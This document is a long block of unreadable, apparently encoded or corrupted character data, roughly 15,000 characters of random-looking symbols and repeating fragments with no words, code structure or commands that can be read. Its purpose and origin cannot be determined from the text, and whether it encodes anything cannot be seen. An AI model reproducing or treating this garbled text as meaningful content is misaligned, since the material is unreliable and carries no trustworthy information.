('?$ipfU0p7{E'0&?SYVc8V[!:3?ue]|5q09xw`P![=+!RpwX7rd`TW#rh?~C}5	&;Rws'( q~ScdC>'W
	SsdB 3WY-4kwUX9W0pR|d	!p
zSsgC #! 'T`X q~ScdC>'W
	SsdB 3WY-4kwUX9W0pR|d	#m:klx!S$;&}Yt] #, 5PsdL#
Y  5Rsd\;3$q0'RZY8V(qi|E 3$	 3?}wxU8
,iwVU'+*!~JC'$3kc|Y8 &<kcY,0 ?}ws_#V  $UsdB9 '$3klZF> '$4vue]Q'## kcA>,	ae|c#.{{F;i8U|YY"[8rfMVA7	3rSY|U,9!qh@;V	i$gU]U,//	dXAX	"0<ae|cUR*<'PYt 3xue]|>W,'ksdO'	^7kc|Y8#?7aX|9	:%S <(#a:RNE@; 'B
?U]p\8#$!9i%S 3WY*;xue]| 3, :&ash@9	R .;k`X>#[ SxB  /~hYF> R# UsZF9W#.{}Y|Y 3,	?TwY8
4   :UcJE,0#:RdE 3,Ya9Sw3X Ps^L	!}Zh^8,4	,vkcJL <	m~SsEE8
4   Ps^L
, %Ur`@8V&.<UcgE>#
!:m?SZp>'W[ ~kgY<7 
~RYQ 	$!qx{N9V4xs^837Pp#Ssd\>"0 q/!a]{5#.a6kct\;'!p
6PcX#[ (hlQ#l({|kF5#%Ps
Q!
?SQ>	$&v{M{C;,0 8kc|F3#6RMU]>	*;dx]];V  a9R|`F8VVB)+rSY| 3, :&awL 3p	das^C9,4Y
zRsgW,X.i?UwQQ>	$&v{NZB ?SZp>' Y'#ac|Y 3,.a{xs^837P('Twp3Xh7xw{C!#seF|2 {rb2(>-{Zc" agwVR7V('TwVR
#%Pd]:3:x^Q9V4 ~R^C  +(asxO
Y0hlxZ7 i#agVF8
 X& ;(R`8#7Pqi'RYVF8SY pylp  5RN_;3!.'a]{C#4!
zzw`P![=+!RpwX7	F:;yP|`B8,,?hcJ\;#$!:0{rgU,<:<8|]VR7	)/9Usd>#$daw[8W() 8RYgQV!pv{E7!p
zSsg+	;R|`'0agrAX9 '3`{`F9W 3ySYC 0*;!zg_83$q4:}l`@9 X!?!xs^]
7&Ul`A><3*xue]|;3;;R|`'0agrAX9 '3?x|Ax	## PcP<(3 {rgU,<:<8|gVR'#!p
6PcX#[ ?zcd\;#Z#
;S||A 3, %PstO9rd`TW#rh {rgU,<:<8|]VR7	^7We}34#`&awA9	7B a$Plk
#()  |`b 3$q?(kY^E </_ a |` #[<hl|L
3, -
#SZc5# "SxB#[!p&Sc^
2 :0:UcJE,0#:hV]
8 #}s8#&0?RM <
Y-'S|dZ,0#:kY^E 3W :UYtE>37p#U|dO8  5k`FUVQ&&SsgQV4 'ks`F8	P9!xs|Z8#!%PcX
7:|Pc`; R#{Nx	# R^>#3&q4$UsU'9mklZ&	da|`]
 -~Uwp?< <klZ i#agV <
Y:5U|^E 0R&q4$UsU 0#;daw  VQp
6aS}5	#
6a^J  W8
 ~^E@>#3B
$a^JF8
 X& TlpZ
7Y0{MpC3S<%UcX,8 #agQ_ &i<RpZV  hlxL'0!a`aJb&q	!igYQ+TcJZ
7Z#
Pp]N #9lw}`]
&due]|5	Q&da|`]
W yaw  VQ&	das^C9,4Y
zRsgW0'	!xs^837Pq?SsdC3S:}hcJ 0R	*;(R`8#7Pp<?k|`Y' !a^E@>#3B aR^x	# R^>#3B akp>#3B4:R|d,0\!v{|	S& ;(UYtE>37P9ld{NW0)/9U|{5#3w}`^	)/9kYO80V 4hue]| 
4p
?SQ>W,.%UlxL;<8q 9h]U]9#$Y# 3(TC}5*05UcxL>,+'UsUE'R	'agsX7reY]9#$Y# lv{M
XR"3$Rst;,/hlxO<&m?RldZ! !-'TbB <(0kJ@!Pw]U 9r
-{sLUR kJ@!PwX<exPTW$
d]YF0'$3PckY;<,6hlYY, &05zgk[#,&mzw`A<0!:3?x|Ax	#9RYd^V'UsZL#$ 
?UsdB7 ^7reY|;3;45i`F9#
#SgYF?R"3re^F !Pww#Yh?ue]|5	#4|Re 3,X!-?UYd~8#[ 	 
?UsdB0'$3re^#4!q(TC}5	#4?k]ZZ8< Y'?$ipfU0p6{F,Q5U|xA8W/.4<kbX <0qa:UsdC>,/4kcF'#rd`TW#rh?x` 	$!q?ue]|5	#4#hZ@'+Q RYd[
7:9SY|E;3,<!zrE_	SE9U m~SsEE'+ -6SsdCV[?$Pl`Z87	//&}wpU
8<,x]JU 	;dx]Y>#S!p#h^^8#,5zw`F>#4	l&aw^
 !)l&~C}5	#hrSY|<R'$3We}<R'$4?k]Zw"[8rfMVA	hre^9V[:~RZ|F>	4! a&zw`P![=+!hMVR0'$4#hZ@'+Qq
?U^
+B?7aX|Z<(# "S{Q;#$#7w}UN
#(hJ^9W/Pqa:UsdC> V'$3ash@9	R Ps]
7 p{Mp<(	v{_8#$#:;(SYtB 0R#!aS}5	#4:R|d,0\!v{`Z?,3m'ScgV
!q?!x||?3<|Pc`; 8TpAX
 !)lr]sQ'# (xwsQ  -~Uwp?< < Pc`] 3Vm'ScgV$& ;(UYtE>37Pq?SYcXV'$3r`JF8
 X& TlpZ
7 &
SX,8 #agVY<,p'hFF8	!-!xsCVq+viwx]8V,X :UwY Wp
?SV
Y&5~]
@;#$#6hc|D;3W-~}^C #4]- RwQ #[&i#SZcC;#;!p&Sc^'
)lwhZ{5#3wPcA><3&48k`X
4Y&a:{Mp3Xh!Scc
(m9PlBZ	, ;(S\8##9i,xY`@W4m}YZ[	$&49S^X;,0Y!79}]7W
:S^  7W qh9aw q~ScdC>'W*m hl|Y
8 #zMQ[9S!~`@W4m}YZ[
,X.i?UwUF'+B6aS}'# (xwsQ'#4:R|d,0\!v{x>,0 *;(UYtE>37Pq6hc|D 	[.i#{Mp@8	,#=abE_ #[&i#SZcC;#;PcC
7&
8~]
@W(q,"S{C837#m$klUC9#
9,$S|834& m k]L>3(#	 zbE_
 !)lrSY|
'[ p;a^E@ #[*xue]|>W,.a9UsdO'	^(vue]x	8X .PcC#$&49S_hF8#4a9S|Y7 ^7PckY#!qzw`P![=+!RpwX7		hreY]U 9r
-{sNUR~RYJ] 3, {rgU,<:<8|gVR0'$4?k]Zw"[8rfMVAh!ks8		!zgp5#4"zqpF9U[# #zw`P![=+!RpwX7	*(`s^LW(
'hYJZ'0agrAX9 '3?x|Ax	#a&i|<(Y	 9hXX?	
 .
<kl{_'#Y3}z`Ax	#0#hc`Z9 qa:UsdC>'S,#8S|F># )7(hl`3, :UpAQ 	m'ScgW #SYtB 7rd`TW#rh?z`Ax	#4"xwZ[>3W&49SXZ?#& xYF834qa:UsdC>"[Y'#x]YF,'$3reY]>,vxqpB;3Sq9SZ`Z8
0&48kgU]U 9r
-{sNUR4hreY|3

#R]U_V[&:Uwc?< *&xwQ,0\!?~C}5	#$#S||Z5 (xwsQ'# (xwsQ;#46zwxr8VWYm}b`9#7_8RsJFV$Y#a:}\>#4YRYd^87+4hreY|#8h(`sh@9#4	 
)dqb"!!igEQ
+ 	+rSY|3	 
"RwYQ?R"3rlVY;3	 kYd@ -?ze}5	#4#hZ@! !.'kwU] 
#8|^cFR"3rch\8#[?$kZsFR"3We}5P0?UpAxP7PckY!#rd`TW#rh(a`QVS.4<kgQQ7 ^7rc^['$# #id;<,Y!:?$ipfU0p7{F7 ^7reY] 
#kYA 3Vae|c<+}wsX>4hreY|;3;8zgp5#3{rgU,<:<8|]VR R.$Plc_R"3rch\8#[?$kZsFR"3We}5P7We}< s0#hc`Z94hrcd\;#Z9  |`q;3
9SJL
'[lwks^#,5ac|@8
0 -	d{NAx*?(xchF8#40?R`L!#rd`TW#rh?xwYQ?R"4#hZ@'.# #xs@>' '45U|XR"4|Rq8V[Y z`Ax	#!.UlxCR"hrSY]>3h(`|p@9V]q<#U|p>3	"PcJZ8W {rgU,<:<8|gVR7	^7PckY70X#	?x|Ax	#?krAX8	$<+xpQ#8 9UZ9rd`TW#rh?~C}5	q4$fMVC3Srh(agpw 	<6SdA'0agrAX9 '3xue]|<7  #xw`X;33RsL;<
qkxX;33?SsdX9	[X! ?$ipfU0p7{F0'$4#hZ@'Q!p'S^y3S)/9Rp^8V:m UsE9W q4'Ss|Y<(	&hl|Z8	$?$ipfU0p7{F7V 5RstC
,'.yawL9#$*!}]ZF9U[# #zw`P![=+!RpwX7	F&p9gY^Z>U,'. kY^E <,'. {rgU,<:<8|gVR7	_:h!zgX !:aXpZ9	S!p?S 
'[!:a]sX
 r#RYLV[ p {rgU,<:<8|gVR7V 5RstC
[Z .6}VO8W4)/9Rp^8V:l$Uc^]i#{CZ*
!Pc`TVW !igX
#(*;xue]| 3, :!a||A3VBq0'SYVZ,0 yawL9#$*!}Y`^>#7r3;Sg]!_#(5{MJ[;3p
?ScgY"[8rfMVA7	3:{Ms9W  )mh|Z9W/&4;k`]W,ldxwQC #$Y?!fgB33(?~ZX#8 'Us^B 7rd`TW#rh?zgX !:a_@ #'PcZ!p'S^QW
#zwVl3R ~YY 9.4<kc;3S	 
)dqb"!!igYFQ-dasxO
^7PckY#4!
zzw`P![=+!Rp{X7		hreY]U 9r
-{sOUR!UY^Z>^7PckY#q?SsgY"[8rfMVA7	?ue]|70h(hlxO<	r?klQX'#4!PsJF V
Y:/({`@>VW q${MEQT
'
~SlsX'#
?UwQE'-#i9kwQE':m'ScgX'#a~hUX0'$4#S||Z5#
;xpQ<(3 {|Y83[:/({xZ8	$;<xwVc8W4# ;?~C}38!.'hUY#R({|kF5#%Ps
Q06kck  .<Pc|D
7(	m~SsEE8
4   ,{MQQ X!. #SY|@ #7ae|c<+zgsC'
: ,{MQC9W0&a<SVZ9&*3:{EX7+B:l z||9
0 a|kl{Y,;i{rgU,<:<8|]VR0ZdfMsX0[*;(i`E@V*
}zgX
'[*!~C}34#`({NJ_9VQ-d{NAx&q4hUY"[8rfMVA	xue]|3,!q({hF <$hreY| 3, :!a|pO 7  5RNB8 'B9+rSY|70! vxqp[8W  *?$ipfU0p7{E':3xue]|5*?$kZsF,'$3re^;#?(xap[ 3[	 
"RwYQ5R"3re^ZV
0ScJL9#4#<hZ^9
/6kct]'0! /(|`sO'	4hreY|1 q 9RgY#8	+rSY|<R'$3rcd\;#Z9/9R|xZ
^7re^_9	4#9+rSY|V$!Ps^X;#q0{N]x	#4"zwpw;<,!.'kst_8#7ae|c<+zgsF,'$3re^ZV
 ;wks^#,5acE7 &4<k`_	$#q<6SdC 'S q 9R^]QV7#|`F\8V!)(&Sst\; *;xue]|5	#9ksgQ
7 (#4!PsJF V
Yq?SsgY"[8rfMVA7
6UcgFR"3rcd\;#Z!p
6ixZ9#q hlxO<	9 5RstC'9/9Rp^8V	/(hlxO<	9 "S'9/9kYC> V	/$h] 7	9/9ks^
^7re^5#4&RYd^;'$3htL 7#q0;ScXR"3PckY'$ TgU]U 9r
-{sLUR 3(TC}5	#
8klxB9#Pxue]|5	#.a6zw`F
<,Y!. #S]U]U 9r
-{sLURx{sY
0#^h$PgYx	#3{|pZ9	S +vxwZF8
3ae|c:<+fM`F7 p; ~wEQ,,Y!. #S]U]U 9r
-{sLUR
?}`wF0'$3re^F  Sc]'0agrAX9 '/({|pZ9	S	3rSY|5	# SMsXV$ <x||Z>' ;Pl|L;3[!:whZ{
,,!.48Up]8V,X :UwB W:m}hcJ 0R )+w}|\9	&l!~C}5	#$hreY|V5UstV$# z`Ax	#%Ps
Qp?R|c9 ,&~NE@9V,#a^J[8W(a:Rd_83Y!zs8# -<SwJU*~RYJZ8	, {rgU,<:<8|gVR7# <,{MJC>3
 PlCV
 q	:UYtE>37p#U|dO8  5k`A_
 -~Uwp?< 
#T|cQ8	$i%Ps@ ' [ ~k`_W&5U|{Y9W #mk]UX3Z "PcJZ9#4  {rgU,<:<8|gVR7		?}]Q_
 -~Uwp?< ~hYF>' [ ~k`_
V )/9kYO80V4hreY|
(+xue]|3,!q({d];<3$hreY|;3; ?R9	Y<kgU]U 9r
-{sNUR	xue]|5	# SMsX	?RUW3&p?Usd^	9+rSY|5 !.'PNAx	#hrSY|3	 'kcA>,	ae|c:<+zgsF,'$3reY]>#vxqp[;3 
?ScgY"[8rfMVA7	+rSY|5	rd`TW#rh(agpL>3(& {rgU,<:<8|MVR '4hreY|70! vxqp[8W  *?$ipfU0p7{E
 	+rSY|5*?$kZsF,'$3reY|#8Z!.4kgU] 
#ae|c:<+z`Ax	#3`sh\8#[?$kZsFR"3re^ZV
 <hlhZ ''Q-da||\9	&m8|
+^ a5hxF9,3B9+rSY|5	#
9Uc|Y'0agrAX9 '/$Us^B 7&4;kgY5#3We}5	#$hreY| 3, :!ash@9	R qm5UcxB;<3P.; SZdE8'& <}rEX#6SsdCV[?$ipfU0p7{F'Vr/!}s8# ;7iwQD>#
!:mklZ
8 #z`FO <0X!.l(kYtE9V7^)lwUsd>#$(SYtB 0SY0xs|E<,?ktO 3'B9+rSY|70! vxqp[8W  *?$ipfU0p7{E':3xue]|5*?$kZsF,'$3re^;#?(xap[ 3[	 
"RwYQ5R"3re^ZV
0ScJL9#4#<hZ^9
/6kct]'0! /(|`sO'	4hreY|1 q 9RgY#8	+rSY|<R'$3rcd\;#Z9/9Usd>#$das^C9,4Y
zRsg9W4  4x|h^8,4da]{
'[ p;a]Q5#4&RYd^;'$3htL 7##{k|dB9'_7reY]#P"PcJZV&a%S 3WY!:?$ipfU0p7{FR"3{sQ
7#4hreY|#'RZx^?78|psA #Q-d{MEX:3xue]|5	 :xpQ9W0 :zw`\0'$3rch@9#3v|pAQ#	Q #S^AQ#3(TC}5	#
 fNtR'VP8RY^C>#;:8|XUX#[ ?$hA];2R	l!xwQ5#3RVF>#, ?(Sx]'0:
?igYQ7 ^7reY|3,!q(|p]Q'09+xw'9+(hZxZ3^7reY|3,!q(~`]Q'09+xw'9+(hZxZ3^7reY|3,!q(|`s '09+xw'9+(hZxZ3^7reY|3,!q(|` '09+xw'9+(hZxZ3^7reY|30.~S|c '09+xw'0:
?i`AQ
(+xue]|5	#$hreY|70	:+xue]|5	##(zw`C RP6zgp5#3rg`C R+rSY|5	##(zw`F' $SsdC7 ^0-|rQR!p6Pc {fwQE#	3:{NJ_9VphrSY|5	#0-|bQR9 &R^XR"3reY];":ags_#V 4hreY|<R'$3xu^5#4#hZ@'Q&&SsgQV4 8hc|F8	P%kcJE9#$4:kN#(qa<S{+)6|^>,+B
$xsxXV[ pvxNL/9lwRp^8 &4<k`_ 	[& i|kc^X;,3_m9RY^8  ) 8RYgV#+8igX
'[!.dawL9#$)/9Usc
,0!hE8W+P9{|^UO VQ!#a]QC#
h:{NE@9,()/9Usc
,0!hE8W+P95|NLVQ!#a]QC;,0 8kc|F3#6RMU];"3:{NE@9,()/9Usc
'[Y!)lw}`^	*;xue]|5 !.'PNAx	#q5kgsX9	4i#{N]x	#4"zws^ 3S&3 {rgU,<:<8|MVR7#+rSY|5*?'`|xZ8	$?$ipfU0p7{E'0agrAX9 /3?ue]|5	#%Ps
QT, //!UwpO 3W 'asxO
^7reY| 3hreY|5# {NJLW(!	dkMZC>3m~SsEE&<kc\8V0	 
)dqb"!!igYC+ -<SwE_	Qp%RY^A> V	+rSY|<R'$3rcd\;#Z9 "SxB#[!p&Sc^
7(	m~SsEE8
4   ,{MQQ X!. #SY|@ #7ae|c<+zgsC'
: :UcJE,0#:SYtB 7W[ ~kgY9	4Y&:xsh^8,,:das^C9,4Y
zRsg>#4]& :hcZ
3W (UYtE>37P*;:P|`B8,,?hcJ\;#$!:?$ipfU0p7{F ) ?SZp>' Y'#al|	S& }hcJ 0R )l&a^E@ 	[ l!~C}5	#-#hcA5#'RgQW0& {N]x	#4"zws^ 3S&3 {rgU,<:<8|MVR7#+rSY|5	&4;kgs,,Y!-
9Us^B 7rd`TW#rh?~C}5	#4"zw`;3S	xue]|5	#4"zwt8W4# ?$ipfU0p7{E,0 <{|`F837	hreY|5	# SMsX	$  !~C}5	#4#S||Z5#3re^ZV
 <Sd\;#4;xue]|5	#$#S||Z#4#`({x^ ' Y#i#xsh@9	S& !~C}5	#$hreY|V5UstV$# z`Ax	#%Ps
Qp?R|c9 ,&~NE@9V,#a^J[8W(a:Rd_83Y!zs8# -<SwJU*~RYJZ8	, {rgU,<:<8|gVR7# <,{MJC>3
 PlC>#[Xq?:UYtE>37p#U|dO8  5k`A_
 -~Uwp?< 
#T|cQ8	$iSd\;' [ ~k`_W
#zwxl3R ~YY 9+"PcJZ8<0  {rgU,<:<8|gVR7	:das^C9,4Y
zRsg9W4  4x|h^8,4da]{
'[ p;a]Q5#4&RYd^;'$4vue]| 3, :!aw];<;B9+rS^9V[. qakl{Y0'-hrS} 
4p
?SQ3,Y#a:`C9V[??x|Ax# ?k]U^ 3S&3 {rgU,<:<8|gVR7#*'kcA>,	ae|c*<+zgYQ?R" (xwsQ' 1sa5kl`\8V[# Scc'0sg_de 
iZfU33:{| #4!/aS@><3 RZdZ0'*(xwsQ'#ae|c<+xw')l"|gQ5 (WgpZ8,,# xcdB9,0\	 
)dqb"!!igYF5 (xwsQ"=p#Us|@8V0;kpgY"[=cbxTT
<)bqb'	l!R`] <(p
9i>'?~C}5## Pl|L <3ae|c#.{{F7 ^7rbVbW,&9SFF 7
 {rb2(>-{Zc" agwVR7V('TwQE,0&?~C}5/a5UstO>'4hre^ZV
 $}Y|[	, m}hcJ 0R9,,S]{5#
kcA R4%S'0agrAXV
!-#UwVR'#
}`UX' 
%RJ^9V
!:?&is]'+ae|c<+}]xU8+&p9clUY"[8rfMVA7	/&isU9Y/!ips_7	^7rc^[, <)SctV*:zY|],/	,*~D73*/$ipfU0p7{E#S& zgY|?R"3PckY#,46zw`B<0#+7igYF,'$3reY]T9(dAXWrh(agpw V4Yp<$zwY5#3kc|Y8# r`v{M{C!$ser|TV,Z <+}]{X+^7re^5#hrSY| 3, :&kw\ W&
8UlcC>	$&=agQ_0Yi8}]{X+^7rcd\;#Z.	:hkC8W4Y!}Z|\9	[ 
9Rws#3q:Sd9,4Y-%RYE8!
#< UpA_R"3$UsdB9'#Pa&iVZ>"[ 'S]UFR"4#hZ@,,Y!. #S]U]>#4! 3<xwxU8+ 
kcAR"4#Ts^R"hr]sQ' *0#Slp?7rd`TV$?!igY[$ TgU]U 9r
-{sNUR	hre^nT[
%SD;37 	~zw`PT4:(fMV"08s0dcX7	q>hlUX'#	+rS^9V[ $kl{Y0'*(xwpZV
 wR|O;< Y$hPckY>Va|}_d 3WY	|Pc]8Wq8U|dO 14[mRMZp>	4& mcb^sU&	+rZh^9  
5xpQ8	4Z6RYt'	+rZh^9 &(agsAR"-:h`F8VV#p kgYQ?R"'R]pC R	<?SY`@>W/&.:UwYQ
 -< Pc|Y m=kl^r8V04hrc^[#Vh(|NUF,'$3hdO7R^7rc^[#,X!)lv|wYx	#
9hdB 3WY."}Y|B 'W[ ~kgs#,-hdO0'$3kcJL 5R"3hdO^7WgpZ8,,4"zsQ
0R?x|Ax	#p6zMA5#4"zs|9#Q;k|C8#4p
 ze}5	#a%UcZ8
3q:h]
8 #xpQVS!r,%UlxRR"4#S||Z5#4%Ul{B0'$4vueB5&m%Us^@8 	 h]7 ^7h]9W p z`Ax 
5}Zp9Vqi$z`Ax 
5}Zp9V:;?~C}3,X!*vxs|B ,/ :k`Y0'^(vue]W,!.48Up_R"%Ps
QmSL8V a |` #[<hl|L
3, -
#SZc
#8!.h(SYtB 0S*9SZ|	S&h&PckY 'W*m%SccC>	$&vabEXV,{M^ 'W*m9Ul`A><3&.<Ucg'
9,$}Y|[	, m}hcJ 0S
r/!~xZ>,4 *"hcJL 0P
$z|`Y;</qi$}Zh^8,4	,?k]Z;#.>hlUCV
q,#kw^7
& <}s8#&0?RM\833&.<UcgE>#
!:m5PsV4!.a6RM\;#4#q$aNw '
:3xWcdE9V4^:0:UcJE#WX /<UsZF9W 	:UYtE>37&0?RML;#[Zq6RYO9W#%Pd]
'_ <,{MY<7 
~RYQ 	$!qxx^9V4xs^837P ?hl'$4"SxZ3,	 
equ1=:<'Ss^^9V4rh(hlQ#Vl({|kF,'$3PckY,;h({MQF,'$3rcd\;#Z9 9R|`X9	[X! <hcxZ8 R ;:P|`B8,,?hcJ\;#$!:?$S]YCR )/9Sp W(&d{NAx	#9SZ`F8
44hre^5#%Ps
Q!
?SQ>	$&vx]QC;,0 8kc|F3#6RMU]>	:d{M]8V a9R|`F8VVB9+rS^5#7kc|Y8# a5kcJZW3B4:R|d,0\!vhZd>#[a:hJFVP.$kwZ]	,.<PctL
8 #z`FF 
."}YtG<q0#hFZ '^0:UcJE#WX /<kw\ W 4'RM3X $}Y|[
, p<)klxO8W(. kc|D 33F(,{EX0P 5klFX#WX /<SZdE8'."}YtE;3$-'S|dZ#3q:RZ@>U[!-9RZCV
q,#kp
N ;?~_,8 #ag{
+B :SxO
 -~Uwp?<  kc|D	[]m'Scg3' }hcJ 0R ;:zqs]T,9s,cbFB  7acbxa2(s0grpP	![= <+zgX3' <+aMV\;#4#q${N]X	9l(RdC ' X!q4:kMpt	$0 ?SZp>' Y'#ac|Y 3,.a{xs^837P!q09UZ9
(!-(UYtE>37P!}]U^ 3S&3 {rgU,<:<8|]VR<Qaez	14 	~zw`PT4:(fMV"08s0dcX7	pksdO9[Y ra9UlcX0Zq0#hFZ '_:;?}]Q,(46kc|,,Y6R]p8 &
9UlcQ +B)?awC8V() &R]

,0'
'RYd^#,5acxF V$(SYtB 0S&
8UlcQ9W0\ vxYx@9	0!*i&S`8VR_,;hlxX;3V_+&x|xZ30 . za]Q5## xcdB9,0\	 
)dqb"!!igYF,'$3kc|Y8 &i<RpZV  hlxL'+ :{rgU,<:<8|gVR(
 *:U|@<ae|c<+zgY5#$hrcd\;#Z9/9Usd>#$da|`^	TcJZ
7(  p$kl{ < ]9Ss^]',)xhYt\;V p:kw\8V!)7%`gV(!.
#R]8W#_{~M{QV4 'ks`F8	P %kcJE9W q4:kNA,
 ag{N #)lwU|{
,0<?k|`Y
7+d{pE@>#3B
$a^JF8
 X& TlpZ
<0'	(SYtB 0S 	(R`8#7P.9RY`Z9!?xU^]>#_8{`A_#[#qzks8R #p klhZ8
3:daw  VQp
6a^E@>#$  d{NAxq09xwQV8!.hdaw];<;B%RY^A> W."}Y|B 'W q~RMUF!q6Plp
^7U|@	[&6zwY5P7rYh8	,Y#a:xst\># /#Sshe 3S&. zgp5'$4?k]U]U 9r
-{sNURh({^Z97rc^[! X . ?SYAY9,(ra6klpE3,	 ;'iwZU '
	 5}]]^:;<xrP$a)zgYF5#4$PcgYU, <xsZ^9  :x|xZ83[[	!z`Ax	# 5ke}5	# SMsX>3W#m=xsdO9	[;xue]Q'## {rgU,<:<8|gVR''P <zklX5R" (xwsQ' Z!qakct] <+	+rS^ZV
 ;wPpwW4q4$k`E@; 'B
?U]p\8#$!9i%S 3WY/#hcJE?7 Zmx|`@,( a}kgp;#7!q0#SsE
#() 'xsZO 3;P:9SY|E;3,!zs8# -<SwJUW!r/!zg{34 a'a^E@ #[*;xue]|>W,.a9UsdO'	^(vue]x	8X .PcC#$&49S_xO><0.a6hgY7 ^7U|@	#46zwY5## xs^L9V4Y	 
)dqb"!9Us
X7		xue]|34#`({NJY0W:~S|`L
'[lwks^#,5ac|@8
0 -	da||A3VB48k`]W,ldxwQC;,0 8kc|F3#6RMU]U 9r
-{pO8W0rh?}]QQ
,,ldddO>	4)/9Rp^8V:m UsE9W q4'Ss|Y<(	 
)dqb"!q6UYdOUR*;whZ{'$3PckY'0agrAX9,(&`!igs
7#-
8{MsF,'$3rch8	,Y#a:x|VL8T(&
#cYOV748}w`A8W(Y 
<SVF8!5RMYQ?R"3rg`[9'#P"U|pPV[ .%UwU];<# 
8Sx
0 p~^{N0'$3re^F 8zgpO <0X!.l(kYtE9V7^7reY|,(!:vxqp[>,  a!PcY#8 $SsX;3V 
8hl|L0'$3re^w 
0q<S|Z'0! 3xue]|5	#!.UlxC'0xue]|5P7rlQ 34"zws]U 9r
-{pO8W0rh(a`QVS\!p<{MsF,'$3rch8	,Y#a:x|VL8T(&
#cYOV748}w`A8W(Y 
<SVF8!5RMYQ?R"3rg`O </Sl^L93qa:SYd\>'#:{N]X!a6Up
]9#[&75|Ns7 9k^C'#!5RMY5#3`s9W$q<S|Z'0?~C}5	##U|dO8#!.5~C}5	#$hre^#4!q?k]UQ"[8rfMVA9	[Y :<+xp'p7SwQQ7 ^7re^[>3W&49S]p9V[*!-kah@9	,	 
?RwE]9#[& /$SsX;3V'RF,'$3reY]9W0h(xYZ@9W3P::{s^A+9RZc+9RZcC&#R^XV a!PcC!5RV@9	3P::{|p^9W/*;(ksxC3S9R`X9	4)+rSY|5	!.5xpQ, q9SYZW3R]Y5#3`|pXV, p#zw`O </4hreY|<(&6S]s]9	44hreY|<5R"4vue]|70&%kl|L R+rSY|#$Y&;R|`L R+rSY|,,!-#R]s#4]! 9ksgY  $ipfU0p#RZhZ9	+rSY|;3;ae|cY'#{Q
0R3(TC}5	#
#SlsQ
7 (.4<kgUXV4Y:a8hl|L>V3	+rSY|3	 ?R^9
('?$UsdB9'		hreY|38!.'hUY,0 (hlQ# .?x|Ax	#3{sJF8	7#T|pE8V0	 yx]EQ# .?~C}5	#3=zM`^>,0 RNAx	#3PckY, s6Ul`Z	[q `w`L <([-|rE'0}klxT2R 
<PcZ  $Ss^C 23(zgp5#3reY]9W4q5RMADR"3reY| 3, :!as{W&i<RpZV  hlxL'0#m#fNpR7V a&a^]X	
Y  5Rsd\;3$q0'RZY# .-|rFQ-d{NAx	#3We}5	#4?k]Zw"[8rfMVO <8!-#{F,'$3reY|70Y (ags_'$3reY|38!*?$P`L>,(l {sJF8	4h?}`w'0)h8~MsB70	hreY|5	#
SlsQR ?SYdT"S4+~C}5	#3zMA]<0Yi8U|5#3re^F &p9`Zx>#4. p%kgZw,,!-#RXAA7(#RZhZ9/({sJF8	4h<xw`8<# 3(TC}5	#3rg`L>3,5zMA5#3reY| 3, :!as{W&i<RpZV  hlxL'0#m#fNpR7V a&a^]X	
Y  5Rsd\;3$q0'RZY,0! 3xue]|5	#4vue]|5	#hrSY|5P7rlQ 34"zw`P![=+!U|^A 7hvxp{F,'$3rg` 3Sh(`shF8#7ae|c#{FR"3PckY#q6RYt'0Yi8zgsF5#3kYO 3$# ?$UsdB9' !:$Ss^C 7	'4hreY|5	 4:kgs,0#h {sJF8	74hreY|5		:
'U|`Z8< Y!9+rSY|5	## x|VL8T(&
#cYOV7#RZhZ9 {||Z9
8!/+7igEQ"[8rfMVE8V *<+}ws]8#3(zgp5#3reY]9W4q5RMADR"3reY| 3, :!as{W&i<RpZV  hlxL'0agrAX8#[#l!igYC)ly{MY>#S!p#h^^8#,5zw`E;3W	l!asxO
^7reY|<R'$3re^5#hrSY| 3, :&a||A3VB
kcA>,/_ a5RstC
#
kcA>,/8hcW4q5RN]W,ldxw`L>3,5aw];<;B6a]{5#$hrcd\;#Z9  |`u9
4Y9RY|Z
'[lwks^#,5ac|@8
0 -	da|`^	) "SxB#S&09kpA8W,Y) R^>#3B8hc,/9Rp^8VQp
$a]Qx	#*;wUsc
,, %UwpC3S6S`@
!
?SQ>	$&vkZ`A
8</9Sp;3[) 9R|`F8VV&.<Ucg8<!/del^b93Qqa8Us^@8VQ pPcC,8 #alpX9W$/9R`X9	4=!/w}A># )lw}|Z8#4&lw}`]
&da|`O
Yl!ue]|7V4:R|d,0\!vPs^] #4m'Scg [ ~k`_W&i<RpZV  hlxL'0!a`aJb&q	!igYC+B4hreYC -~Uwp?< 0?ks`Z8 i#acwQ>	$&vx]QC;,0 8kc|F3#6RMU]U 9r
-{wX7	:d{C}5	9 ?SZp>' Y'#acZF #0 *:hcZ
3,5klcQ>	$&vx]QC;,0 8kc|F3#6RMU]U 9r
-{|Y<(	!igYC+B4hreYC!:aX|Z9
8!)(8Sx
'[!:a^E@>#3B4hreYCYlwPcA><3&48k` <
Ym'Scg9V4&.6x|h^8,47|^QC'V)&a^E@>#3B aR^X5#l!a|`O
YlwRp^8W*!-kgp?<  a5RstC
&	d{C}5	9 kp8#$ /das^C9,4Y
zRsg9	$#`(SYtB 0SY'#x|h^8,47x]p\;#4#q$a]s@ <0p'R|   &kcE
'[Ylw}`O
'$3}]Q>,+B
$a^E@>#3B
$a^JE3(  5U|^E 0R !$ks^C S~^w9, ) ?SZp>' Y'#ac|Y 3,.a{xs^837P!.}klxL 7 [ ~k`N#,=kcc,(&.6RgQ#q4:xw#Wqa<z`E@8#$ /daw  VQp
6a]Qx	#*;wU|{
,0)/9Usc
,0) <hcxZ8 VQ#m8UlcQ>,i6hc`F8 i#al`9#7&.<Ucg+ *
Pc|;3[zawE3( lw}`]
&d{C}5	9 R^>#3B akp>#3B
'hYJZ,,Y' #agxA30#m!}cJZ 
3_8Tw{
,0) kp9W  )mSVF8!p'S^W0*;rSY|Q&	das^C9,4Y
zRsg>#4]& :hcZ
3q4:x|h^8,46SVQp
$a^E@>,+B4hreYCY!)lwUsc
,,ldcs^\># .6T`E@9W  )lw}`]
'$3}]Q>#3B4:R|d,0\!vUsd>' i#ac`FW3&.<Ucg#
;S||A 3, %PstO9s `_t{Up<${F5UcC #)lw}`]
&daw3(l!ue]|7V akpW0) R^>#3B akp>#3B4:R|d,0\!vRd_83Y'S|dZ
7+B*daw  VQp
